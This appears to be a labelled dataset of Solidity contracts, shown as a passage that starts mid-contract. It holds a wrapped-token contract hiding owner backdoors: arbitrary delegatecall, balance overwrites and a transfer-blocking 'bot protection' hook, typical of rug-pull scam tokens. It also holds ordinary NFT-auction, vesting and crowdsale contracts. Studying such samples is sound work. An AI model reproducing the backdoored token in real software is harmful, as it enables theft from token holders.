require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract WrappedSienna is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 308370000000000000000000;
string public name = "Sienna (ERC20)";
string public symbol = "wSIENNA";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOf(wBNB, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOf(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 0 | 1,238 |
pragma solidity ^0.4.19;
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function takeOwnership(uint256 _tokenId) public;
function implementsERC721() public pure returns (bool);
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max(int256 a, int256 b) internal pure returns (int256) {
if (a > b) {
return a;
} else {
return b;
}
}
function min(int256 a, int256 b) internal pure returns (int256) {
if (a < b) {
return a;
} else {
return b;
}
}
}
contract ClockAuctionBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
ERC721 public nonFungibleContract;
uint256 public ownerCut;
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
function _transfer(address _receiver, uint256 _tokenId) internal {
nonFungibleContract.transfer(_receiver, _tokenId);
}
function _addAuction(uint256 _tokenId, Auction _auction) internal {
require(_auction.duration >= 1 minutes);
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
uint256(_tokenId),
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration)
);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
AuctionCancelled(_tokenId);
}
function _bid(uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
uint256 price = _currentPrice(auction);
require(_bidAmount >= price);
address seller = auction.seller;
_removeAuction(_tokenId);
if (price > 0) {
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price - auctioneerCut;
seller.transfer(sellerProceeds);
}
uint256 bidExcess = _bidAmount - price;
msg.sender.transfer(bidExcess);
AuctionSuccessful(_tokenId, price, msg.sender);
return price;
}
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
return SafeMath.div(SafeMath.mul(_price, ownerCut), 10000);
}
}
contract EthernautsBase {
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('takeOwnership(uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
uint8 public constant STATS_SIZE = 10;
uint8 public constant SHIP_SLOTS = 5;
enum AssetState { Available, UpForLease, Used }
enum AssetCategory { NotValid, Sector, Manufacturer, Ship, Object, Factory, CrewMember }
enum ShipStats {Level, Attack, Defense, Speed, Range, Luck}
bytes2 public ATTR_SEEDED = bytes2(2**0);
bytes2 public ATTR_PRODUCIBLE = bytes2(2**1);
bytes2 public ATTR_EXPLORABLE = bytes2(2**2);
bytes2 public ATTR_LEASABLE = bytes2(2**3);
bytes2 public ATTR_PERMANENT = bytes2(2**4);
bytes2 public ATTR_CONSUMABLE = bytes2(2**5);
bytes2 public ATTR_TRADABLE = bytes2(2**6);
bytes2 public ATTR_GOLDENGOOSE = bytes2(2**7);
}
contract EthernautsAccessControl is EthernautsBase {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public ctoAddress;
address public cooAddress;
address public oracleAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCTO() {
require(msg.sender == ctoAddress);
_;
}
modifier onlyOracle() {
require(msg.sender == oracleAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == ctoAddress ||
msg.sender == cooAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCTO(address _newCTO) external {
require(
msg.sender == ceoAddress ||
msg.sender == ctoAddress
);
require(_newCTO != address(0));
ctoAddress = _newCTO;
}
function setCOO(address _newCOO) external {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function setOracle(address _newOracle) external {
require(msg.sender == ctoAddress);
require(_newOracle != address(0));
oracleAddress = _newOracle;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract EthernautsStorage is EthernautsAccessControl {
function EthernautsStorage() public {
ceoAddress = msg.sender;
ctoAddress = msg.sender;
cooAddress = msg.sender;
oracleAddress = msg.sender;
}
function() external payable {
require(msg.sender == address(this));
}
mapping (address => bool) public contractsGrantedAccess;
function grantAccess(address _v2Address) public onlyCTO {
contractsGrantedAccess[_v2Address] = true;
}
function removeAccess(address _v2Address) public onlyCTO {
delete contractsGrantedAccess[_v2Address];
}
modifier onlyGrantedContracts() {
require(contractsGrantedAccess[msg.sender] == true);
_;
}
modifier validAsset(uint256 _tokenId) {
require(assets[_tokenId].ID > 0);
_;
}
struct Asset {
uint16 ID;
uint8 category;
uint8 state;
bytes2 attributes;
uint64 createdAt;
uint64 cooldownEndBlock;
uint8[STATS_SIZE] stats;
uint256 cooldown;
uint256 builtBy;
}
bool public isEthernautsStorage = true;
Asset[] public assets;
mapping (uint256 => uint256) internal assetIndexToPrice;
mapping (uint256 => address) internal assetIndexToOwner;
mapping (address => uint256) internal ownershipTokenCount;
mapping (uint256 => address) internal assetIndexToApproved;
function setPrice(uint256 _tokenId, uint256 _price) public onlyGrantedContracts {
assetIndexToPrice[_tokenId] = _price;
}
function approve(uint256 _tokenId, address _approved) public onlyGrantedContracts {
assetIndexToApproved[_tokenId] = _approved;
}
function transfer(address _from, address _to, uint256 _tokenId) public onlyGrantedContracts {
ownershipTokenCount[_to]++;
assetIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete assetIndexToApproved[_tokenId];
}
}
function createAsset(
uint256 _creatorTokenID,
address _owner,
uint256 _price,
uint16 _ID,
uint8 _category,
uint8 _state,
uint8 _attributes,
uint8[STATS_SIZE] _stats,
uint256 _cooldown,
uint64 _cooldownEndBlock
)
public onlyGrantedContracts
returns (uint256)
{
require(_ID > 0);
require(_category > 0);
require(_attributes != 0x0);
require(_stats.length > 0);
Asset memory asset = Asset({
ID: _ID,
category: _category,
builtBy: _creatorTokenID,
attributes: bytes2(_attributes),
stats: _stats,
state: _state,
createdAt: uint64(now),
cooldownEndBlock: _cooldownEndBlock,
cooldown: _cooldown
});
uint256 newAssetUniqueId = assets.push(asset) - 1;
require(newAssetUniqueId == uint256(uint32(newAssetUniqueId)));
assetIndexToPrice[newAssetUniqueId] = _price;
transfer(address(0), _owner, newAssetUniqueId);
return newAssetUniqueId;
}
function editAsset(
uint256 _tokenId,
uint256 _creatorTokenID,
uint256 _price,
uint16 _ID,
uint8 _category,
uint8 _state,
uint8 _attributes,
uint8[STATS_SIZE] _stats,
uint16 _cooldown
)
external validAsset(_tokenId) onlyCLevel
returns (uint256)
{
require(_ID > 0);
require(_category > 0);
require(_attributes != 0x0);
require(_stats.length > 0);
assetIndexToPrice[_tokenId] = _price;
Asset storage asset = assets[_tokenId];
asset.ID = _ID;
asset.category = _category;
asset.builtBy = _creatorTokenID;
asset.attributes = bytes2(_attributes);
asset.stats = _stats;
asset.state = _state;
asset.cooldown = _cooldown;
}
function updateStats(uint256 _tokenId, uint8[STATS_SIZE] _stats) public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].stats = _stats;
}
function updateState(uint256 _tokenId, uint8 _state) public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].state = _state;
}
function setAssetCooldown(uint256 _tokenId, uint256 _cooldown, uint64 _cooldownEndBlock)
public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].cooldown = _cooldown;
assets[_tokenId].cooldownEndBlock = _cooldownEndBlock;
}
function getStats(uint256 _tokenId) public view returns (uint8[STATS_SIZE]) {
return assets[_tokenId].stats;
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return assetIndexToPrice[_tokenId];
}
function hasAllAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) {
return assets[_tokenId].attributes & _attributes == _attributes;
}
function hasAnyAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) {
return assets[_tokenId].attributes & _attributes != 0x0;
}
function isCategory(uint256 _tokenId, uint8 _category) public view returns (bool) {
return assets[_tokenId].category == _category;
}
function isState(uint256 _tokenId, uint8 _state) public view returns (bool) {
return assets[_tokenId].state == _state;
}
function ownerOf(uint256 _tokenId) public view returns (address owner)
{
return assetIndexToOwner[_tokenId];
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function approvedFor(uint256 _tokenId) public view onlyGrantedContracts returns (address) {
return assetIndexToApproved[_tokenId];
}
function totalSupply() public view returns (uint256) {
return assets.length;
}
function getTokenList(address _owner, uint8 _withAttributes, uint256 start, uint256 count) external view returns(
uint256[6][]
) {
uint256 totalAssets = assets.length;
if (totalAssets == 0) {
return new uint256[6][](0);
} else {
uint256[6][] memory result = new uint256[6][](totalAssets > count ? count : totalAssets);
uint256 resultIndex = 0;
bytes2 hasAttributes = bytes2(_withAttributes);
Asset memory asset;
for (uint256 tokenId = start; tokenId < totalAssets && resultIndex < count; tokenId++) {
asset = assets[tokenId];
if (
(asset.state != uint8(AssetState.Used)) &&
(assetIndexToOwner[tokenId] == _owner || _owner == address(0)) &&
(asset.attributes & hasAttributes == hasAttributes)
) {
result[resultIndex][0] = tokenId;
result[resultIndex][1] = asset.ID;
result[resultIndex][2] = asset.category;
result[resultIndex][3] = uint256(asset.attributes);
result[resultIndex][4] = asset.cooldown;
result[resultIndex][5] = assetIndexToPrice[tokenId];
resultIndex++;
}
}
return result;
}
}
}
contract EthernautsOwnership is EthernautsAccessControl, ERC721 {
EthernautsStorage public ethernautsStorage;
string public constant name = "Ethernauts";
string public constant symbol = "ETNT";
bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)'));
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed approved, uint256 tokens);
event Build(address owner, uint256 tokenId, uint16 assetId, uint256 price);
function implementsERC721() public pure returns (bool) {
return true;
}
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return ethernautsStorage.ownerOf(_tokenId) == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return ethernautsStorage.approvedFor(_tokenId) == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
ethernautsStorage.approve(_tokenId, _approved);
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ethernautsStorage.balanceOf(_owner);
}
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_to != address(ethernautsStorage));
require(_owns(msg.sender, _tokenId));
ethernautsStorage.transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function _transferFrom(
address _from,
address _to,
uint256 _tokenId
)
internal
{
require(_to != address(0));
require(_owns(_from, _tokenId));
require(_approvedFor(_to, _tokenId));
ethernautsStorage.transfer(_from, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
_transferFrom(_from, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) public {
address _from = ethernautsStorage.ownerOf(_tokenId);
require(_from != address(0));
_transferFrom(_from, msg.sender, _tokenId);
}
function totalSupply() public view returns (uint256) {
return ethernautsStorage.totalSupply();
}
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = ethernautsStorage.ownerOf(_tokenId);
require(owner != address(0));
}
function createNewAsset(
uint256 _creatorTokenID,
address _owner,
uint256 _price,
uint16 _assetID,
uint8 _category,
uint8 _attributes,
uint8[STATS_SIZE] _stats
)
external onlyCLevel
returns (uint256)
{
require(_owner != address(0));
uint256 tokenID = ethernautsStorage.createAsset(
_creatorTokenID,
_owner,
_price,
_assetID,
_category,
uint8(AssetState.Available),
_attributes,
_stats,
0,
0
);
Build(
_owner,
tokenID,
_assetID,
_price
);
return tokenID;
}
function isExploring(uint256 _tokenId) public view returns (bool) {
uint256 cooldown;
uint64 cooldownEndBlock;
(,,,,,cooldownEndBlock, cooldown,) = ethernautsStorage.assets(_tokenId);
return (cooldown > now) || (cooldownEndBlock > uint64(block.number));
}
}
contract EthernautsLogic is EthernautsOwnership {
address public newContractAddress;
function EthernautsLogic() public {
ceoAddress = msg.sender;
ctoAddress = msg.sender;
cooAddress = msg.sender;
oracleAddress = msg.sender;
paused = true;
}
function setNewAddress(address _v2Address) external onlyCTO whenPaused {
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
function setEthernautsStorageContract(address _CStorageAddress) public onlyCLevel whenPaused {
EthernautsStorage candidateContract = EthernautsStorage(_CStorageAddress);
require(candidateContract.isEthernautsStorage());
ethernautsStorage = candidateContract;
}
function unpause() public onlyCEO whenPaused {
require(ethernautsStorage != address(0));
require(newContractAddress == address(0));
require(ethernautsStorage.contractsGrantedAccess(address(this)) == true);
super.unpause();
}
function withdrawBalances(address _to) public onlyCLevel {
_to.transfer(this.balance);
}
function getBalance() public view onlyCLevel returns (uint256) {
return this.balance;
}
}
contract EthernautsMarket is EthernautsLogic, ClockAuctionBase {
function EthernautsMarket(uint256 _cut) public
EthernautsLogic() {
require(_cut <= 10000);
ownerCut = _cut;
nonFungibleContract = this;
}
event Purchase(uint256 indexed tokenId, uint256 oldPrice, uint256 newPrice, address indexed prevOwner, address indexed winner);
uint8 private percentageFee1Step = 95;
uint8 private percentageFee2Step = 95;
uint8 private percentageFeeSteps = 98;
uint8 private percentageBase = 100;
uint8 private percentage1Step = 200;
uint8 private percentage2Step = 125;
uint8 private percentageSteps = 115;
uint256 private firstStepLimit = 0.05 ether;
uint256 private secondStepLimit = 5 ether;
function bid(uint256 _tokenId)
external
payable
whenNotPaused
{
uint256 newPrice = _bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
ethernautsStorage.setPrice(_tokenId, newPrice);
}
function cancelAuction(uint256 _tokenId)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyCLevel
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
function createAuctionWhenPaused(
address _contract,
address _seller,
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
whenPaused
onlyCLevel
external
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(_owns(_contract, _tokenId));
require(_seller != address(0));
ethernautsStorage.approve(_tokenId, address(this));
_transferFrom(_contract, this, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
function createSaleAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(_owns(msg.sender, _tokenId));
require(ethernautsStorage.hasAllAttrs(_tokenId, ATTR_TRADABLE));
require(!ethernautsStorage.hasAllAttrs(_tokenId, ATTR_GOLDENGOOSE));
require(ethernautsStorage.isState(_tokenId, uint8(AssetState.Available)));
require(!isExploring(_tokenId));
ethernautsStorage.approve(_tokenId, address(this));
_transferFrom(msg.sender, this, _tokenId);
Auction memory auction = Auction(
msg.sender,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function setOwnerCut(uint256 _ownerCut) public onlyCLevel {
ownerCut = _ownerCut;
}
function purchase(uint256 _tokenId) external payable whenNotPaused {
require(ethernautsStorage.hasAnyAttrs(_tokenId, ATTR_GOLDENGOOSE));
require(!isExploring(_tokenId));
address oldOwner = ethernautsStorage.ownerOf(_tokenId);
address newOwner = msg.sender;
uint256 sellingPrice = ethernautsStorage.priceOf(_tokenId);
require(oldOwner != newOwner);
require(newOwner != address(0));
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, percentageFee1Step), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
uint256 newPrice = sellingPrice;
if (sellingPrice < firstStepLimit) {
newPrice = SafeMath.div(SafeMath.mul(sellingPrice, percentage1Step), percentageBase);
} else if (sellingPrice < secondStepLimit) {
payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, percentageFee2Step), 100));
newPrice = SafeMath.div(SafeMath.mul(sellingPrice, percentage2Step), percentageBase);
} else {
payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, percentageFeeSteps), 100));
newPrice = SafeMath.div(SafeMath.mul(sellingPrice, percentageSteps), percentageBase);
}
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
ethernautsStorage.transfer(oldOwner, newOwner, _tokenId);
ethernautsStorage.setPrice(_tokenId, newPrice);
Purchase(_tokenId, sellingPrice, newPrice, oldOwner, newOwner);
msg.sender.transfer(purchaseExcess);
}
function setStepLimits(
uint256 _firstStepLimit,
uint256 _secondStepLimit
) public onlyCLevel {
firstStepLimit = _firstStepLimit;
secondStepLimit = _secondStepLimit;
}
function setPercentages(
uint8 _Fee1,
uint8 _Fee2,
uint8 _Fees,
uint8 _1Step,
uint8 _2Step,
uint8 _Steps
) public onlyCLevel {
percentageFee1Step = _Fee1;
percentageFee2Step = _Fee2;
percentageFeeSteps = _Fees;
percentage1Step = _1Step;
percentage2Step = _2Step;
percentageSteps = _Steps;
}
} | 1 | 3,639 |
pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20 token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal{
assert(token.transferFrom(from, to, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TOSPrivateIncentiveContract {
using SafeERC20 for ERC20;
using SafeMath for uint;
string public constant name = "TOSPrivateIncentiveContract";
uint[6] public unlockePercentages = [
15,
35,
50,
65,
80,
100
];
uint256 public unlocked = 0;
uint256 public totalLockAmount = 0;
address public constant beneficiary = 0xbd9d16f47F061D9c6b1C82cb46f33F0aC3dcFB87;
ERC20 public constant tosToken = ERC20(0xFb5a551374B656C6e39787B1D3A03fEAb7f3a98E);
uint256 public constant UNLOCKSTART = 1541347200;
uint256 public constant UNLOCKINTERVAL = 30 days;
function TOSPrivateIncentiveContract() public {}
function unlock() public {
uint256 num = now.sub(UNLOCKSTART).div(UNLOCKINTERVAL);
if (totalLockAmount == 0) {
totalLockAmount = tosToken.balanceOf(this);
}
if (num >= unlockePercentages.length.sub(1)) {
tosToken.safeTransfer(beneficiary, tosToken.balanceOf(this));
unlocked = 100;
}
else {
uint256 releaseAmount = totalLockAmount.mul(unlockePercentages[num].sub(unlocked)).div(100);
tosToken.safeTransfer(beneficiary, releaseAmount);
unlocked = unlockePercentages[num];
}
}
} | 1 | 4,876 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
